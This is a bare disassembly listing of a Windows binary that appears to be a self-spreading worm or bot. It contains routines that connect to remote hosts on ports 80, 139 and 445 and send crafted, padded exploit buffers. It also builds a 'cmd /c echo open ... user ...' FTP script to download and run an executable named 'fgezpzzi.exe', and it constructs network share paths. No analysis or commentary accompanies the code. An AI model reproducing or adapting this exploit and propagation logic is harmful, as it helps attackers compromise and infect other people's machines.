lea ecx, [ebp+var_20]
call sub_40CC68
push offset dword_4323B4 ; Str
lea ecx, [ebp+var_50]
call sub_40CD16
lea ecx, [ebp+var_50]
call sub_40CC68
push esi ; Size
lea eax, [ebp+Dst]
push 44h ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
lea ecx, [ebp+var_58]
push 410h ; Size
push eax ; Src
call sub_40CB34
lea ecx, [ebp+var_58]
call sub_40CC68
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40CD7F
lea ecx, [ebp+var_58]
call sub_40CBC3
push esi ; Size
lea eax, [ebp+Dst]
push 43h ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40CD16
push 4
push offset dword_43203C
lea ecx, [ebp+var_18]
call sub_40CCE2
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40CCE2
sub edi, [ebp+arg_8]
lea eax, [ebp+Dst]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40CCE2
lea ecx, [ebp+var_18]
call sub_40CC68
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40CD33
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40CD33
lea ecx, [ebp+var_40]
call sub_40CD43
lea ecx, [ebp+var_18]
call sub_40CBC3
lea ecx, [ebp+var_50]
call sub_40CBC3
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40CD33
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40CD33
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40CD33
lea ecx, [ebp+var_38]
call sub_40CD43
lea ecx, [ebp+var_20]
call sub_40CBC3
lea ecx, [ebp+var_30]
call sub_40CBC3
lea ecx, [ebp+var_40]
call sub_40CBC3
push esi ; Size
lea eax, [ebp+Dst]
push 41h ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40CCE2
lea ecx, [ebp+var_28]
call sub_40CC68
push 2
push offset dword_4323A8
lea ecx, [ebp+var_28]
call sub_40CCE2
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40CD33
lea ecx, [ebp+var_28]
call sub_40CD43
lea ecx, [ebp+var_38]
call sub_40CBC3
lea ecx, [ebp+var_10]
call sub_40CB2A
lea ecx, [ebp+var_8]
call sub_40CB2A
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40CD33
lea ecx, [ebp+var_10]
call sub_40CBDC
lea ecx, [ebp+var_28]
call sub_40CBC3
push offset dword_4323A4 ; Str
lea ecx, [ebp+var_8]
call sub_40CD16
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CD33
lea ecx, [ebp+var_8]
call sub_40CBDC
lea ecx, [ebp+var_10]
call sub_40CBC3
push offset dword_4323A0 ; Str
lea ecx, [ebp+var_10]
call sub_40CD16
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40CD33
lea ecx, [ebp+var_10]
call sub_40CBDC
lea ecx, [ebp+var_8]
call sub_40CBC3
push offset dword_432394 ; Str
lea ecx, [ebp+var_8]
call sub_40CD16
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CD33
lea ecx, [ebp+var_8]
call sub_40CBDC
lea ecx, [ebp+var_10]
call sub_40CBC3
push offset dword_432390 ; Str
lea ecx, [ebp+var_48]
call sub_40CD16
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40CD33
lea ecx, [ebp+var_8]
call sub_40CBC3
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40D100
; ---------------------------------------------------------------------------
loc_40D0F2: ; CODE XREF: sub_40CD9E+1Bj
; sub_40CD9E+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40D100: ; CODE XREF: sub_40CD9E+352j
pop edi
pop ebx
leave
retn
sub_40CD9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D104 proc near ; CODE XREF: sub_40D1C8+A1p
; sub_40D1C8+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call ds:dword_42720C ; select
cmp eax, edi
jnz short loc_40D16B
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426350 ; __WSAFDIsSet
test eax, eax
jnz short loc_40D16F
loc_40D16B: ; CODE XREF: sub_40D104+54j
xor eax, eax
jmp short loc_40D17F
; ---------------------------------------------------------------------------
loc_40D16F: ; CODE XREF: sub_40D104+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CB9EC ; recv
loc_40D17F: ; CODE XREF: sub_40D104+69j
pop edi
pop esi
leave
retn
sub_40D104 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D183 proc near ; CODE XREF: sub_40D1C8+81p
; sub_40D1C8+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_4CB9D0 ; htonl
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp eax, 4
jz short loc_40D1AD
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D1AD: ; CODE XREF: sub_40D183+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4CBA24 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40D183 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40D1C8(int,void *Src,size_t Size)
sub_40D1C8 proc near ; CODE XREF: sub_40D2A2+48p
; .text:0040D716p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
Src = dword ptr 0Ch
Size = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+Size]
lea ebx, [edi+41h]
push ebx ; Size
mov [ebp+var_4], ebx
call _malloc
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40D1F1
xor al, al
jmp loc_40D29D
; ---------------------------------------------------------------------------
loc_40D1F1: ; CODE XREF: sub_40D1C8+20j
push ebx ; Size
push 0 ; Val
push esi ; Dst
call _memset
push 2Fh ; Size
push offset dword_4320CC ; Src
push esi ; Dst
call _memcpy
push 8 ; Size
lea eax, [esi+31h]
push offset dword_4320FC ; Src
push eax ; Dst
mov [esi+2Fh], di
call _memcpy
push edi ; Size
lea ebx, [esi+3Bh]
push [ebp+Src] ; Src
mov [esi+39h], di
push ebx ; Dst
call _memcpy
push 6 ; Size
add ebx, edi
push offset dword_4CE6EC ; Src
push ebx ; Dst
call _memcpy
mov ebx, [ebp+arg_0]
push 85h
push offset dword_432044
push ebx
call sub_40D183
add esp, 48h
test al, al
jnz short loc_40D259
loc_40D255: ; CODE XREF: sub_40D1C8+B5j
xor bl, bl
jmp short loc_40D294
; ---------------------------------------------------------------------------
loc_40D259: ; CODE XREF: sub_40D1C8+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40D104
push [ebp+var_4]
push esi
push ebx
call sub_40D183
add esp, 1Ch
test al, al
jz short loc_40D255
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40D104
add esp, 10h
mov bl, 1
loc_40D294: ; CODE XREF: sub_40D1C8+8Fj
push esi
call sub_41BA91
pop ecx
mov al, bl
loc_40D29D: ; CODE XREF: sub_40D1C8+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40D1C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40D2A2(int,void *Src,size_t Size)
sub_40D2A2 proc near ; CODE XREF: .text:0040D6FCp
var_20 = byte ptr -20h
arg_0 = dword ptr 8
Src = dword ptr 0Ch
Size = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_432108
push [ebp+arg_0]
call ds:dword_427208 ; send
cmp eax, 48h
jnz short loc_40D2DD
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40D104
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40D2DD
cmp [ebp+var_20], 82h
jz short loc_40D2E1
loc_40D2DD: ; CODE XREF: sub_40D2A2+1Bj
; sub_40D2A2+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D2E1: ; CODE XREF: sub_40D2A2+39j
push [ebp+Size] ; Size
push [ebp+Src] ; Src
push [ebp+arg_0] ; int
call sub_40D1C8
add esp, 0Ch
leave
retn
sub_40D2A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D2F4 proc near ; CODE XREF: sub_40D340+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul ds:dbl_427670
call __ftol
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul ds:dbl_427668
fstp [esp+10h+var_10]
call _floor
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call __ftol
inc eax
leave
retn
sub_40D2F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40D340(int,int,__int16,char *Str)
sub_40D340 proc near ; CODE XREF: sub_40D4E2+24p
var_4C = qword ptr -4Ch
var_38 = byte ptr -38h
var_2C = dword ptr -2Ch
var_28 = qword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_B = byte ptr 13h
Src = dword ptr 14h
mov eax, offset loc_426AA7
call __EH_prolog
sub esp, 2Ch
mov al, [ebp+arg_B]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp+var_38]
push edi
mov [ebp+var_20], edi
mov [ebp+var_38], al
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp+var_4], ebx
call sub_40D2F4
cmp [ebp+var_2C], eax
pop ecx
jnb short loc_40D382
push edi
push eax
lea ecx, [ebp+var_38]
call ?_Grow@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAE_NI_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool)
loc_40D382: ; CODE XREF: sub_40D340+36j
cmp [ebp+10h], edi
mov [ebp+var_18], edi
jbe loc_40D49F
mov ebx, [ebp+10h]
loc_40D391: ; CODE XREF: sub_40D340+156j
cmp dword ptr [ebp+10h], 3
jb short loc_40D39B
push 3
jmp short loc_40D3AD
; ---------------------------------------------------------------------------
loc_40D39B: ; CODE XREF: sub_40D340+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40D3A5
push 2
jmp short loc_40D3AD
; ---------------------------------------------------------------------------
loc_40D3A5: ; CODE XREF: sub_40D340+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_40D3AE
push 1
loc_40D3AD: ; CODE XREF: sub_40D340+59j
; sub_40D340+63j
pop ebx
loc_40D3AE: ; CODE XREF: sub_40D340+69j
mov dword ptr [ebp+var_28], ebx
mov dword ptr [ebp+var_28+4], edi
fild [ebp+var_28]
push ecx
push ecx ; double
fmul ds:dbl_427680
fstp [esp+4Ch+var_4C]
call _ceil
pop ecx
pop ecx
call __ftol
cmp ebx, edi
mov [ebp+var_1C], eax
jbe short loc_40D3ED
mov esi, [ebp+arg_4]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp+var_10]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40D3ED: ; CODE XREF: sub_40D340+93j
mov cl, [ebp+var_10]
mov dl, [ebp+var_10]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp+var_14], cl
mov cl, [ebp+var_F]
sar cl, 4
and cl, 0Fh
add [ebp+arg_4], ebx
shl dl, 4
add cl, dl
mov dl, [ebp+var_F]
mov [ebp+var_13], cl
mov cl, [ebp+var_E]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp+var_12], cl
mov cl, [ebp+var_E]
and cl, 3Fh
cmp eax, edi
mov [ebp+var_11], cl
jbe short loc_40D45B
add [ebp+var_18], eax
loc_40D43F: ; CODE XREF: sub_40D340+119j
movsx eax, [ebp+esi+var_14]
lea ecx, [ebp+var_38]
mov al, byte_432154[eax]
push eax ; char
push 1 ; Size
call ?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)
inc esi
cmp esi, [ebp+var_1C]
jb short loc_40D43F
loc_40D45B: ; CODE XREF: sub_40D340+FAj
cmp [ebp+var_18], 48h
jb short loc_40D479
push [ebp+Src] ; Str
call _strlen
pop ecx
push eax ; Size
lea ecx, [ebp+var_38]
push [ebp+Src] ; Src
call sub_40D7CD
mov [ebp+var_18], edi
loc_40D479: ; CODE XREF: sub_40D340+11Fj
push 4
pop esi
cmp [ebp+var_1C], esi
jnb short loc_40D493
sub esi, [ebp+var_1C]
loc_40D484: ; CODE XREF: sub_40D340+151j
push 3Dh ; char
push 1 ; Size
lea ecx, [ebp+var_38]
call ?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)
dec esi
jnz short loc_40D484
loc_40D493: ; CODE XREF: sub_40D340+13Fj
cmp [ebp+10h], edi
ja loc_40D391
push 1
pop ebx
loc_40D49F: ; CODE XREF: sub_40D340+48j
mov esi, [ebp+arg_0]
mov al, [ebp+var_38]
push edi
mov ecx, esi
mov [esi], al
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
push ds:dword_427678
lea eax, [ebp+var_38]
mov ecx, esi
push edi
push eax
call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ABV12@II@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)
mov [ebp+var_20], ebx
and byte ptr [ebp+var_4], 0
push ebx
lea ecx, [ebp+var_38]
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
mov ecx, [ebp+var_C]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D340 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D4E2 proc near ; CODE XREF: .text:0040D6DFp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
arg_C = byte ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
mov eax, offset sub_426AC4
call __EH_prolog
sub esp, 10h
push ebx
push esi
push edi
push offset byte_43DB88 ; Str
lea eax, [ebp+var_1C]
push dword ptr [ebp+arg_8] ; __int16
xor ebx, ebx
mov [ebp+var_4], ebx
push [ebp+arg_4] ; int
push eax ; int
call sub_40D340
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_14]
mov byte ptr [ebp+var_4], 1
lea esi, [ecx+eax+36h]
push esi ; Size
call _malloc
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40D52C
xor bl, bl
jmp short loc_40D570
; ---------------------------------------------------------------------------
loc_40D52C: ; CODE XREF: sub_40D4E2+44j
mov ecx, [ebp+var_18]
mov eax, offset dword_427688
cmp ecx, ebx
jnz short loc_40D53A
mov ecx, eax
loc_40D53A: ; CODE XREF: sub_40D4E2+54j
cmp [ebp+arg_10], ebx
jz short loc_40D542
mov eax, [ebp+arg_10]
loc_40D542: ; CODE XREF: sub_40D4E2+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi ; Count
push edi ; Dest
call __snprintf
add esp, 14h
push ebx
push esi
push edi
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp eax, esi
jz short loc_40D567
xor bl, bl
jmp short loc_40D569
; ---------------------------------------------------------------------------
loc_40D567: ; CODE XREF: sub_40D4E2+7Fj
mov bl, 1
loc_40D569: ; CODE XREF: sub_40D4E2+83j
push edi
call sub_41BA91
pop ecx
loc_40D570: ; CODE XREF: sub_40D4E2+48j
and byte ptr [ebp+var_4], 0
push 1
lea ecx, [ebp+var_1C]
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
or [ebp+var_4], 0FFFFFFFFh
push 1
lea ecx, [ebp+arg_C]
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
mov ecx, [ebp+var_C]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D4E2 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset dword_432300
push eax
call _memcpy
add esp, 0Ch
mov eax, offset Str ; "fgezpzzi.exe"
push eax
push eax
movzx eax, word ptr dword_4CB710
push eax
push dword ptr [ebp+8]
call sub_40AA06
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-391h]
push 400h
push eax
call __snprintf
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset aSvwfbA ; "SVWfì€"
push eax
call sub_40CD9E
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_40D63B
xor eax, eax
jmp loc_40D767
; ---------------------------------------------------------------------------
loc_40D63B: ; CODE XREF: .text:0040D632j
mov [ebp-0Ch], esi
loc_40D63E: ; CODE XREF: .text:0040D73Ej
test esi, esi
jnz loc_40D744
push 6
push 1
push 2
call ds:dword_427204 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40D72C
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_4CB9D4 ; htons
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CBA14 ; inet_addr
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jz loc_40D721
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40D6E9
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
lea eax, [ebp+0Ch]
push eax
call _strlen
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint)
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D4E2
add esp, 1Ch
jmp short loc_40D71E
; ---------------------------------------------------------------------------
loc_40D6E9: ; CODE XREF: .text:0040D6A7j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40D703
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D2A2
jmp short loc_40D71B
; ---------------------------------------------------------------------------
loc_40D703: ; CODE XREF: .text:0040D6F3j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40D721
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D1C8
loc_40D71B: ; CODE XREF: .text:0040D701j
add esp, 0Ch
loc_40D71E: ; CODE XREF: .text:0040D6E7j
movzx esi, al
loc_40D721: ; CODE XREF: .text:0040D69Aj
; .text:0040D70Dj
push ebx
call dword_4CBA6C ; closesocket
test esi, esi
jnz short loc_40D737
loc_40D72C: ; CODE XREF: .text:0040D657j
push 3E8h
call ds:dword_427080 ; Sleep
loc_40D737: ; CODE XREF: .text:0040D72Aj
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40D63E
loc_40D744: ; CODE XREF: .text:0040D640j
lea ecx, [ebp-8]
call sub_40CBC3
test esi, esi
jz short loc_40D765
mov eax, [ebp+0B0h]
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40D765: ; CODE XREF: .text:0040D74Ej
mov eax, esi
loc_40D767: ; CODE XREF: .text:0040D636j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426A88
loc_40D76C: ; CODE XREF: sub_426A88+3j
; sub_426A90+11j ...
push 1
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
retn
; END OF FUNCTION CHUNK FOR sub_426A88
; [00000059 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_40D7CD(void *Src,size_t Size)
sub_40D7CD proc near ; CODE XREF: sub_40D340+131p
Src = dword ptr 4
Size = dword ptr 8
mov eax, ds:dword_427678
push ebx
mov ebx, [esp+4+Size]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D7E7
call sub_42629A
loc_40D7E7: ; CODE XREF: sub_40D7CD+13j
test ebx, ebx
jbe short loc_40D81C
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call ?_Grow@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAE_NI_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool)
test al, al
jz short loc_40D81C
mov eax, [esi+8]
push ebx ; Size
push [esp+10h+Src] ; Src
add eax, [esi+4]
push eax ; Dst
call _memcpy
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D81C: ; CODE XREF: sub_40D7CD+1Cj
; sub_40D7CD+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D7CD endp
; [000000CE BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint). PRESS KEYPAD "+" TO EXPAND]
; [00000085 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool). PRESS KEYPAD "+" TO EXPAND]
; [0000003C BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool). PRESS KEYPAD "+" TO EXPAND]
; [00000035 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint). PRESS KEYPAD "+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint). PRESS KEYPAD "+" TO EXPAND]
; [000000BD BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Copy(uint). PRESS KEYPAD "+" TO EXPAND]
; [00000030 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Split(void). PRESS KEYPAD "+" TO EXPAND]
; [00000021 BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DB5E proc near ; CODE XREF: .text:0040DF74p
Dest = word ptr -354h
var_34E = byte ptr -34Eh
Source = word ptr -124h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset off_432948
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset asc_432940 ; "\\\\"
lea edi, [ebp+Dest]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, byte_43DB88
push 45h
mov byte ptr [ebp+Source], al
pop ecx
xor eax, eax
lea edi, [ebp+Source+1]
rep stosd
stosw
stosb
lea eax, [ebp+Source]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
call ds:dword_4270E8 ; MultiByteToWideChar
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _wcscat
lea eax, [ebp+var_C]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _wcscat
mov esi, [ebp+arg_4]
lea eax, [ebp+Dest]
add esp, 10h
mov [esi+14h], eax
mov eax, offset dword_4CE6F4
push edi
push eax
push eax
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+1Ch], edi
call dword_4CBA74
cmp eax, 5
mov ebx, 4C3h
jz short loc_40DC22
cmp eax, ebx
jnz short loc_40DC2C
loc_40DC22: ; CODE XREF: sub_40DB5E+BEj
push edi
push edi
push edi
push esi
call dword_4CBA74
loc_40DC2C: ; CODE XREF: sub_40DB5E+C2j
cmp eax, 5
jz short loc_40DC3A
cmp eax, ebx
jz short loc_40DC3A
push 1
pop eax
jmp short loc_40DC3C
; ---------------------------------------------------------------------------
loc_40DC3A: ; CODE XREF: sub_40DB5E+D1j
; sub_40DB5E+D5j
xor eax, eax
loc_40DC3C: ; CODE XREF: sub_40DB5E+DAj
pop edi
pop esi
pop ebx
leave
retn
sub_40DB5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DC41 proc near ; CODE XREF: .text:0040DFC6p
; .text:0040E0A6p
Dest = word ptr -354h
var_34E = byte ptr -34Eh
Source = word ptr -124h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset off_432948
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_432940 ; "\\\\"
lea edi, [ebp+Dest]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, byte_43DB88
pop ecx
mov byte ptr [ebp+Source], al
xor eax, eax
lea edi, [ebp+Source+1]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+Source]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
call ds:dword_4270E8 ; MultiByteToWideChar
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Dest]
